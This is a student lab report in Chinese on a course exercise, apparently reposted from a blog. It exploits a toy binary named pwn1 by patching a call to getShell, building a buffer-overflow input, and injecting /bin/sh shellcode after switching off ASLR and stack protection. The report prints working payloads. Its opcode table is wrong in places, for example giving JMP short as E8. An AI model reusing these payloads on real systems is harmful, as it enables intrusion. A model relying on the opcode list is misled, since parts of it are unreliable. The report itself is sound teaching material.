zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解

    2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解

    一、实践说明

    实践目标

    • 对象:名为pwn1的linux可执行文件

    • 程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串

    • 学习目标:运行这个代码片段。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell而正常情况下这个代码是不会被运行的。

    • 三个实践内容如下:

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

      • 注入一个自己制作的shellcode并运行这段shellcode。

    • 代表现实情况中的攻击目标的思路:

      • 运行原本不可访问的代码片段。

      • 强行修改程序执行流。

      • 以及注入运行任意代码。

    基础知识

    • 需要掌握的内容:

      • 熟悉Linux基本操作。能看懂常用指令,如管道(|),输入、输出重定向(>)等。

      • 理解Bof的原理。能看得懂汇编、机器指令、EIP、指令地址。

      • 会使用gdb,vi。

    • 指令、参数。

    • 理解思路。

    二、 实践任务

    1. 直接修改程序机器指令,改变程序执行流程

    • 输入指令objdump -d pwn1 | morepwn1文件进行反汇编

    • 分析反汇编的结果

      • main函数中call 8048491 <foo>是汇编指令,其机器码为e8 d7 ff ff ff,e8即跳转的意思。这条指令将调用位于地址8048491处的foo函数。

      • 其下一条指令的地址为80484ba,而机器码中的0xd7ffffff = 0x080484ba - 0x08048491 为主函数执行位置和foo函数起始地址的差(d7ffffff是补码,表示-41)。

      • main函数调用foo,对应机器指令为e8 d7ffffff
        想让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就行。即0x080484ba - 0x0804847d = 0xffffffc3

    • 输入指令vi pwn1 打开以ASCII码显示的文件,但此时显示是乱码。

    • 输入指令:%!xxd 将文件转换为16进制查看。并找到d7ffffff 所在位置,输入i 进入插入模式,将d7修改为c3

    • 输入指令:%!xxd -r 将文件转化为ASCII码形式,再输入:wq保存并退出。

    • 再输入指令objdump -d pwn1 | more 查看,发现pwn1文件已经被修改了。

    • 此时再运行修改后的代码,就会得到shell提示符。

    2. 通过构造输入参数,造成BOF攻击,改变程序执行流

    • 通过反汇编的指令查看foo函数中为输入预留的空间

    • 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节(4为EBP占用的内存空间)。

    • 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

    • 我们在gdb pwn1调试中中输入至少36字节的数据,如1111111122222222333333334444444412345678,发现Segmentation fault 的错误提示,且使用命令info r可以查看到eip寄存器的地址为0x34333231

    • 我们将33~36字节的内容替换为getShell的地址0x0804847d,字符串以ASCII码输入,同时机器为小端法,因此应为x7dx84x04x08。即是输入11111111222222223333333344444444x7dx84x04x08

    • 由于我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车。于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。然后使用catxxd查看input文件的内容是否如预期。

    • 通过管道符| ,输入命令(cat input; cat ) | ./pwn2 将构造的输入注入并运行,结果如下:

    3. 注入Shellcode并执行

    • (1)构造buf的方法:该任务中我们可以观察到缓冲区的空间并不是很大并不是很大,同时经过老师视频的讲解,我们可以确定应该是采用将shellcode放在后面的方法,因此直接对第一种方法进行测试,结构为:anything+retaddr+nops+shellcode

    • (2)准备工作:

      • 先利用apt-get install execstack命令安装execstack软件包。

      • foo函数的局部变量不需要机器码,而我们需要将shellcoode注入缓存区,需先设置设置堆栈可执行。execstack -s pwn3 设置堆栈可执行;
        execstack -q pwn3 查询文件的堆栈是否可执行,结果为X表示可执行。

      • linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化。

    more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭;

    echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化;

    more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭。

    • (3)构造payload

      • 参考老师给出的代码,我们首先构造一个input_shellcode:

      • perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode。

      • 重新开启一个a终端(非root模式下),通过(cat input_shellcode;cat) | ./pwn3 运行pwn3。

      • 再开一个b终端,从中输入ps -ef | grep pwn3 查看pwn3的进程号。

      • 启用gdb调试并定位pwn3进程。disassemble foo 进行反编译,可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

      • 在a终端中按下回车运行, 程序执行到断点停止。再在b终端输入c继续运行程序。

      • info r esp 查看esp寄存器地址。

      • x/16x 0xffffd390 以16进制形式查看0xffffd390地址后面16字节的内容

    • (4)修改输入并实现shellcode注入

      • 修改注入代码的地址:

      • perl -e 'print "A" x 32;print"xd0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode。

      • 输入命令(cat input_shellcode;cat) | ./pwn3 运行发现shellcode注入成功。

    三、 问题回答

    • 什么是漏洞,漏洞有什么危害?
    漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。
    利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。
    漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
    
    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    NOP:90
    JNE:75
    JE:74
    CMP:38~3D
    JMP:
    
    JMP short:E8
    JMP near:E9
    JMP word:FF
    JMP far:EA
    
    • 掌握反汇编器与十六进制编程器
    反汇编指令:
    
    objdump -d <file(s)>: 将代码段反汇编;
    objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
    objdump -C <file(s)>: 将C++符号名逆向解析
    objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    objdump -j section <file(s)>: 仅反汇编指定的section
    
    十六进制编程器:是用来以16进制视图进行文本编辑的工具软件。
    
      vim <filename> 以ASCII码形式显示可执行文件的内容
    
      :%!xxd 将显示模式切换为16进制模式
    
      :%!xxd 将16进制切换回ASCII码模式
    

    四、 心得体会

    在前几个学期的学习中,缓冲区溢出攻击一直是挂在嘴边的知识点。这一次也终于亲手尝试了一下。
    虽然中途遇到很多挫折,但通过网上资料的查找和与同学交流的方式,这次实验也算圆满完成。
    通过观看视频和亲手做实验,我也对缓冲区溢出有了更深入的了解,相信在以后的学习生活中,我也会多多动手,实践出真知。

    五、遇到的问题和解决方法

    • 问题一:在gdb调试时,显示“未找到命令”
    • 解决:在root下使用命令apt-get install gdb安装。

    • 问题二:gdb调试后出现Detaching after fork from child process ***错误。
    • 解决:gdb报信息Detaching after fork from child process ***意思是debug只能跟踪一条进程,这句话是把没有被debug的进程报给你。但根本原因是我在gdb调试是沿用了之前已经被修改成恶意代码的pwn1,所以要在开始备份pwn1,再在这步调试。

    • 问题三:再开另外一个终端用gdb调试pwn3时,显示“不允许的操作
    • 解决:不能在root模式下运行pwn3,需要重新开启个终端再运行pwn3,再开一个终端调试(总共三个终端)。

  • 相关阅读:
    SGU 271 Book Pile (双端队列)
    POJ 3110 Jenny's First Exam (贪心)
    HDU 4310 Hero (贪心)
    ZOJ 2132 The Most Frequent Number (贪心)
    POJ 3388 Japanese Puzzle (二分)
    UVaLive 4628 Jack's socks (贪心)
    POJ 2433 Landscaping (贪心)
    CodeForces 946D Timetable (DP)
    Android Studio教程从入门到精通
    Android Tips – 填坑手册
  • 原文地址:https://www.cnblogs.com/LZHNB/p/12500928.html
Copyright © 2011-2022 走看看